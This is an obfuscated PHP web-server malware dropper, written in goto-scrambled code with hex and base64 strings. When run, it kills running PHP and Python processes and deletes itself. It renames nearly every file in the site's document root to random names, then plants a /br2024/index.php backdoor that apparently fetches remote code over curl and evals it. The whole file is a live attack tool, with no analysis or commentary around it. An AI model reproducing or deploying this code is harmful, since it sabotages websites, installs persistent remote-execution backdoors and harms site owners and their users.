<?php goto nltpa; uyneh: function qiEo6() { return substr(sha1(mt_rand()), 17, 6); } goto O9O0b; sfP2p: $EKINA = $_SERVER["\104\x4f\x43\125\115\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto vK5gB; O9O0b: function A7sKM() { goto HSlZy; GxTs2: $EVn8N = $EKINA . "\57\x62\162\62\60\x32\64"; goto UnkJQ; UnkJQ: if (is_dir($EVn8N)) { goto Z_cnu; } goto hZ2T7; l1Wwk: $kjHLq = base64_decode("\120\x44\71\x77\141\110\x41\x67\132\62\71\60\142\x79\x42\153\125\156\x70\x50\122\x54\163\x67\132\x46\112\66\x54\60\x55\x36\x49\x43\122\61\x54\x32\112\x6e\131\x79\x41\x39\x49\x43\143\x6e\x4f\171\x42\156\x62\x33\122\x76\111\x47\x51\x78\x5a\x58\x68\157\x4f\x79\102\x79\x4e\x6b\x4e\x66\x5a\x7a\157\147\x4a\110\126\120\x59\155\144\x6a\111\103\64\71\111\x43\112\143\116\x54\x5a\143\115\x54\x55\x33\130\104\x45\60\x4e\x56\x78\x34\116\172\116\143\x4e\124\144\143\116\x54\x63\x69\117\x79\x42\156\142\x33\122\166\x49\x46\112\x68\x52\x6d\65\122\x4f\171\102\x53\131\125\x5a\x75\125\124\157\147\112\x48\126\x50\x59\155\x64\152\111\103\x34\x39\111\103\x4a\x63\x65\104\x4e\150\x58\x48\x67\63\115\61\170\64\x4e\172\x41\x69\117\x79\x42\156\x62\x33\122\x76\x49\107\144\x49\x65\153\126\x6a\x4f\x79\102\x45\115\x7a\125\61\126\x44\x6f\147\112\110\126\120\131\x6d\x64\x6a\111\x43\x34\x39\x49\103\112\143\145\104\112\155\x58\x44\105\61\115\x31\x77\170\116\152\x4a\143\x4d\x54\125\x33\x58\x44\x45\62\116\x31\167\61\116\154\x77\62\115\x53\x49\67\x49\107\x64\166\144\x47\x38\147\x62\x54\x5a\121\116\155\x6f\x37\x49\x47\121\x78\x5a\x58\150\x6f\x4f\x69\x41\x6b\x64\125\71\x69\x5a\x32\x4d\x67\x4c\152\60\147\111\154\167\170\x4e\152\122\143\x65\x44\x63\64\130\x44\x45\x32\x4e\106\x77\61\116\x6c\167\170\x4e\x6a\x52\143\x65\104\143\x30\x49\x6a\163\147\x5a\x32\x39\x30\142\x79\102\x45\x4d\x7a\125\61\x56\104\163\147\142\124\132\x51\x4e\x6d\157\66\111\x43\122\x31\124\x32\x4a\156\x59\x79\x41\x75\x50\123\101\151\x58\x48\x67\x7a\x4d\106\x78\64\116\x6d\x4a\x63\145\104\x5a\x69\130\x48\x67\x32\x5a\151\x49\67\x49\x47\x64\x76\x64\107\70\x67\143\152\x5a\104\130\62\143\67\x49\x47\144\111\x65\x6b\x56\152\117\x69\101\153\144\x55\71\151\x5a\62\115\x67\x4c\152\x30\x67\x49\x6c\x77\170\x4e\152\122\143\x65\104\143\x30\x58\x48\x67\62\x4f\103\x49\67\x49\x47\x64\x76\144\107\70\x67\x53\x6c\102\61\x56\156\125\67\111\105\x70\121\x64\x56\132\61\117\x69\x42\154\144\155\x46\x73\113\x43\x4a\x63\116\172\x64\x63\145\x44\x4e\154\111\x69\x41\165\111\105\x63\64\x53\155\x4a\155\x4b\x48\116\60\143\x6e\112\154\x64\151\147\153\x64\x55\71\x69\x5a\x32\x4d\160\113\123\x6b\x37\111\x47\x64\x76\x64\107\70\147\x53\x7a\x5a\151\x65\x54\101\x37\111\105\163\x32\x59\x6e\153\x77\117\151\102\155\x64\127\x35\x6a\144\107\154\x76\142\151\x42\x6e\x4f\105\x70\x43\122\x69\147\x6b\x63\x55\150\x33\x54\62\x51\147\120\x53\x41\x6e\112\171\167\147\x4a\110\x68\127\x52\x55\71\x42\111\104\x30\147\x4d\124\125\x70\x49\110\x73\147\144\x48\x4a\65\x49\x48\163\147\x5a\62\71\x30\x62\171\102\132\x4d\x6c\x68\x36\x4d\x54\x73\147\x56\x45\132\126\126\153\105\x36\x49\x47\116\61\x63\155\x78\146\143\62\x56\60\x62\63\102\60\113\103\122\x57\x57\152\x4a\x70\x4e\x53\x77\147\x51\61\x56\123\124\105\71\121\x56\x46\71\124\125\60\x78\146\126\153\x56\123\123\125\x5a\x5a\x53\x45\x39\124\x56\x43\x77\x67\x5a\155\x46\x73\x63\x32\x55\160\117\171\x42\156\x62\x33\x52\166\x49\x46\x55\65\x4e\125\x56\x6c\117\171\x42\x46\141\x6a\x4e\x32\x4d\x54\157\147\131\63\x56\x79\142\x46\x39\x6a\142\x47\71\172\x5a\x53\147\x6b\x56\154\x6f\x79\x61\x54\x55\x70\x4f\x79\102\156\x62\63\x52\166\111\x45\x31\x76\x54\x54\102\166\x4f\171\x42\x4e\x62\x30\60\167\x62\172\x6f\147\x63\155\x56\x30\x64\130\112\x75\x49\x43\122\x31\x55\x54\x4e\x48\x51\x7a\163\x67\132\62\x39\x30\142\x79\x42\163\125\107\112\123\x53\124\163\x67\127\124\112\x59\x65\x6a\105\x36\111\103\122\127\x57\152\x4a\160\x4e\x53\101\71\x49\x47\116\61\143\x6d\x78\146\141\127\65\160\144\x43\x67\160\117\171\x42\x6e\142\63\122\166\111\105\122\104\x64\107\157\x77\x4f\x79\102\x55\x4d\106\154\x55\x4d\x54\157\x67\x59\63\126\171\142\x46\x39\x7a\132\130\122\166\x63\x48\121\x6f\x4a\x46\x5a\141\115\155\153\x31\x4c\103\102\x44\x56\x56\x4a\115\124\x31\102\125\x58\x31\116\x54\124\106\71\x57\x52\x56\x4a\x4a\x52\x6c\x6c\121\x52\125\x56\x53\x4c\x43\x42\155\131\127\170\172\x5a\x53\x6b\x37\111\107\x64\166\144\107\x38\147\126\x45\x5a\x56\126\x6b\105\x37\x49\x45\x52\104\x64\x47\157\167\117\151\102\x6a\x64\x58\x4a\x73\130\63\116\154\x64\x47\71\x77\144\103\x67\153\126\154\x6f\171\x61\x54\125\163\x49\x45\x4e\126\125\153\x78\x50\125\x46\122\146\125\x6b\x56\125\x56\126\x4a\x4f\x56\106\x4a\102\x54\x6c\x4e\107\122\x56\111\x73\111\x48\122\171\144\127\x55\x70\x4f\171\102\x6e\x62\63\x52\x76\x49\107\x4e\x6c\123\105\150\x48\117\171\102\x6a\132\x55\x68\x49\x52\172\x6f\147\131\63\x56\171\142\106\x39\172\x5a\x58\x52\x76\x63\x48\121\x6f\x4a\x46\132\141\115\155\153\61\114\103\x42\104\126\x56\112\x4d\x54\61\x42\125\x58\61\x52\112\124\125\x56\120\126\x56\121\x73\x49\x43\122\64\x56\153\x56\120\x51\123\x6b\x37\x49\107\x64\x76\144\107\x38\x67\126\x44\102\x5a\x56\104\105\x37\111\x45\61\150\x53\x55\122\x51\x4f\x69\101\153\144\126\105\x7a\x52\x30\115\147\120\x53\102\x6a\144\130\x4a\163\130\62\126\64\132\127\x4d\x6f\x4a\106\x5a\141\x4d\155\153\61\113\124\163\x67\132\x32\x39\60\x62\171\x42\106\x61\152\116\x32\x4d\124\163\x67\126\124\x6b\61\122\x57\125\x36\111\x47\116\x31\x63\155\170\x66\x63\62\x56\x30\142\63\x42\60\x4b\x43\122\127\127\152\112\x70\x4e\x53\167\x67\x51\x31\126\123\124\105\x39\x51\x56\106\x39\x56\125\153\x77\x73\111\x43\x52\x78\x53\x48\144\x50\132\103\x6b\x37\111\107\144\x76\144\x47\x38\x67\124\x57\x46\x4a\x52\106\x41\67\x49\x47\x78\x51\x59\154\x4a\112\x4f\x69\102\x39\x49\x47\x4e\x68\x64\107\x4e\157\x49\x43\x68\x46\x65\107\116\154\x63\110\x52\x70\142\62\64\147\112\105\132\x6d\x57\x57\144\167\x4b\x53\x42\x37\x49\110\x30\x67\x63\155\126\60\144\130\x4a\x75\111\104\x41\67\x49\110\60\x4e\x43\147\75\x3d"); goto GxTs2; AJkT7: Z_cnu: goto Cy6g9; HSlZy: global $EKINA; goto l1Wwk; hZ2T7: mkdir($EVn8N); goto AJkT7; Cy6g9: file_put_contents("{$EVn8N}\x2f\x69\x6e\x64\145\x78\x2e\160\x68\x70", $kjHLq); goto JjLeW; JjLeW: } goto AxKEc; d9JHM: echo "\x44\x41\115\101\40\x6f\153\40\x2d\x26\x67\x74\x3b\x20\74\x61\40\150\162\x65\146\x3d\42\x2f\142\x72\x32\60\62\64\x2f\42\76\x47\x6f\164\x6f\x20\144\x61\155\x61\x20\x68\x65\x72\x65\41\74\x2f\x61\76\74\142\162\x3e\x3c\142\x72\76\x3c\142\162\76\x3c\x62\x72\x3e\74\x62\162\x3e\x3c\142\162\x3e\74\142\x72\76"; goto uyneh; fGQoh: $lgbXE = scandir($EKINA); goto XvkHW; mO5e4: WNC0N($VeJ9H); goto mJ41S; nltpa: $VeJ9H = str_replace("\x5c", "\57", __FILE__); goto mO5e4; mEX9y: ZghxO: goto vdvvw; XvkHW: foreach ($lgbXE as $rXgmF) { goto I2JLl; sE4E6: zkP1O: goto A20bz; LOLwG: sTGxY: goto ueK2z; XtJ_t: goto sTGxY; goto CSS_n; XQIJh: $EVn8N = $EKINA . "\x2f" . $rXgmF; goto Z0_j_; f39mg: echo "{$EVn8N}\40\x2d\x26\147\164\x3b\x20{$HZta6}\x20\x73\x75\x63\143\x65\x73\x73\x21\x3c\x62\162\76"; goto LOLwG; CSS_n: cZHnr: goto f39mg; ypQPe: if (@rename($EVn8N, $HZta6)) { goto cZHnr; } goto H2Ygw; I2JLl: if (in_array($rXgmF, ["\x2e", "\x2e\56", "\151\x6e\144\x65\170\56\x70\x68\x70", "\56\150\x74\x61\143\143\145\x73\x73"])) { goto Z0Jut; } goto XQIJh; H2Ygw: echo "{$EVn8N}\x20\55\46\147\x74\x3b\40{$HZta6}\40\x66\x61\x69\x6c\x21\x3c\142\162\x3e"; goto XtJ_t; ueK2z: Z0Jut: goto sE4E6; Z0_j_: $HZta6 = $EVn8N . QIEO6(); goto ypQPe; A20bz: } goto mEX9y; vK5gB: @chmod($EKINA, 0755); goto fGQoh; mJ41S: unlink($VeJ9H); goto sfP2p; vdvvw: A7skm(); goto d9JHM; AxKEc: function wNC0N($Sly_L) { goto mrSKy; mrSKy: global $VTRCO; goto urjxY; B264j: foreach ($rdAdx as $Hfs65) { goto CNgyN; QCGIx: LEzNV: goto sfZmf; tGkPb: switch ($VTRCO) { case "\x65\170\x65\x63": $VTRCO($Hfs65, $h2ZKT); goto dddhj; case "\x73\x68\x65\154\154\x5f\145\x78\145\143": goto eBxwW; pYwnw: goto dddhj; goto zh8__; c2iwr: $h2ZKT = explode("\xa", trim($h2ZKT)); goto pYwnw; eBxwW: $h2ZKT = $VTRCO($Hfs65); goto c2iwr; zh8__: case "\x70\x61\x73\x73\x74\150\x72\x75": goto IIpNf; IIpNf: if (!function_exists("\x6f\x62\x5f\163\164\x61\x72\x74")) { goto nJBrJ; } goto YATNz; FluMf: $h2ZKT = explode("\12", trim($h2ZKT)); goto rsTFd; W7Vpi: $h2ZKT = ob_get_contents(); goto IXQa9; YATNz: ob_start(); goto k3bzu; Tba07: goto dddhj; goto TYLvE; k3bzu: $VTRCO($Hfs65); goto W7Vpi; IXQa9: ob_end_clean(); goto FluMf; rsTFd: nJBrJ: goto Tba07; TYLvE: case "\160\x72\x6f\x63\137\x6f\x70\x65\156": goto V30FX; jzq1h: goto dddhj; goto Vay7r; V30FX: $SaOY2 = [["\x70\x69\160\145", "\162"], ["\160\x69\160\x65", "\167"], ["\160\x69\160\x65", "\x77"]]; goto VKCyx; v6RcD: y8yKf: goto jzq1h; qPFJV: proc_close($SGcQh); goto v6RcD; oGtzr: $h2ZKT = explode("\12", trim($h2ZKT)); goto qPFJV; rhwHj: $h2ZKT = trim(stream_get_contents($B3Oi_[1])); goto oGtzr; FkGLf: if (!$SGcQh) { goto y8yKf; } goto rhwHj; VKCyx: $SGcQh = proc_open($Hfs65, $SaOY2, $B3Oi_); goto FkGLf; Vay7r: case "\x70\x6f\x70\x65\x6e": goto d_Vcz; EK3L1: pclose($SGcQh); goto JwT5A; zxmfk: if (!$SGcQh) { goto nJyX9; } goto aNXpC; hRC9d: goto dddhj; goto Qn_bP; oiWks: $h2ZKT = explode("\xa", trim($h2ZKT)); goto EK3L1; aNXpC: $h2ZKT = trim(stream_get_contents($SGcQh)); goto oiWks; d_Vcz: $SGcQh = popen($Hfs65, "\162"); goto zxmfk; JwT5A: nJyX9: goto hRC9d; Qn_bP: } goto UGgVx; UGgVx: kLdWM: goto RVjPT; yiz08: if (empty($h2ZKT)) { goto WVmta; } goto uoyYH; uoyYH: foreach ($h2ZKT as $tE2uG) { goto kCsg0; pHCAM: if (!(stripos($GKrYs, $Sly_L) === false)) { goto F2vz1; } goto kNQd3; XLq7n: $SGcQh = popen($KCxrV, "\162"); goto Z2fbp; NdGlK: if ($VTRCO == "\160\162\x6f\x63\137\x6f\160\145\x6e") { goto PB1Br; } goto Iijcj; Ek3Vb: $SaOY2 = [["\160\x69\160\x65", "\x72"], ["\160\151\160\145", "\x77"], ["\x70\151\160\145", "\x77"]]; goto BTZq8; iZhG9: F2vz1: goto Wh_Gk; jOn8G: PB1Br: goto Ek3Vb; Wh_Gk: hbAad: goto r0gpP; vqBaM: goto U01vv; goto jOn8G; kNQd3: $KCxrV = "\153\x69\154\154\40\55\x39\40" . $Q_k42; goto NdGlK; mBz_N: goto U01vv; goto G6dAI; rRP2k: $Q_k42 = preg_replace("\x2f\136\133\x5e\134\163\x5d\53\134\163\x2b\50\134\144\53\51\134\163\x2e\52\57\163\x69", "\x24\61", $tE2uG); goto pHCAM; kCsg0: if (!preg_match("\57\50\77\x3a\x70\150\160\174\x70\x79\164\150\157\156\x29\134\163\x2b\x28\x5b\x5e\134\x73\135\53\x29\44\57\x73\151", $tE2uG, $EVn8N)) { goto hbAad; } goto H3uFj; G6dAI: x6T2y: goto XLq7n; Z2fbp: if (!$SGcQh) { goto sKn2m; } goto kx2Kv; G0ql3: U01vv: goto iZhG9; H3uFj: $GKrYs = trim(str_replace("\x5c", "\x2f", $EVn8N[1])); goto rRP2k; BTZq8: $SGcQh = proc_open($KCxrV, $SaOY2, $B3Oi_); goto kAaLt; kx2Kv: pclose($SGcQh); goto n_En7; Wk3l7: $VTRCO($KCxrV); goto vqBaM; n_En7: sKn2m: goto G0ql3; jSigW: proc_close($SGcQh); goto QUwlw; r0gpP: YGHI_: goto QHmkI; kAaLt: if (!$SGcQh) { goto ISVaP; } goto jSigW; QUwlw: ISVaP: goto mBz_N; Iijcj: if ($VTRCO == "\160\x6f\x70\145\x6e") { goto x6T2y; } goto Wk3l7; QHmkI: } goto N5eMS; CNgyN: $h2ZKT = []; goto tGkPb; RVjPT: dddhj: goto yiz08; oWjl1: WVmta: goto QCGIx; N5eMS: nlu2E: goto oWjl1; sfZmf: } goto uGtVu; fjihf: if (empty($VTRCO)) { goto x9cwt; } goto B264j; SOM1D: x9cwt: goto qo0C2; uGtVu: JrAAN: goto SOM1D; urjxY: $rdAdx = explode("\54", "\x70\x73\40\x2d\145\146\x7c\147\162\145\160\40\160\x68\x70\x2c\160\x73\40\55\x65\x66\x7c\147\162\x65\160\x20\x70\171\x74\x68\x6f\156"); goto twL8Y; twL8Y: $h2ZKT = ''; goto fjihf; qo0C2: }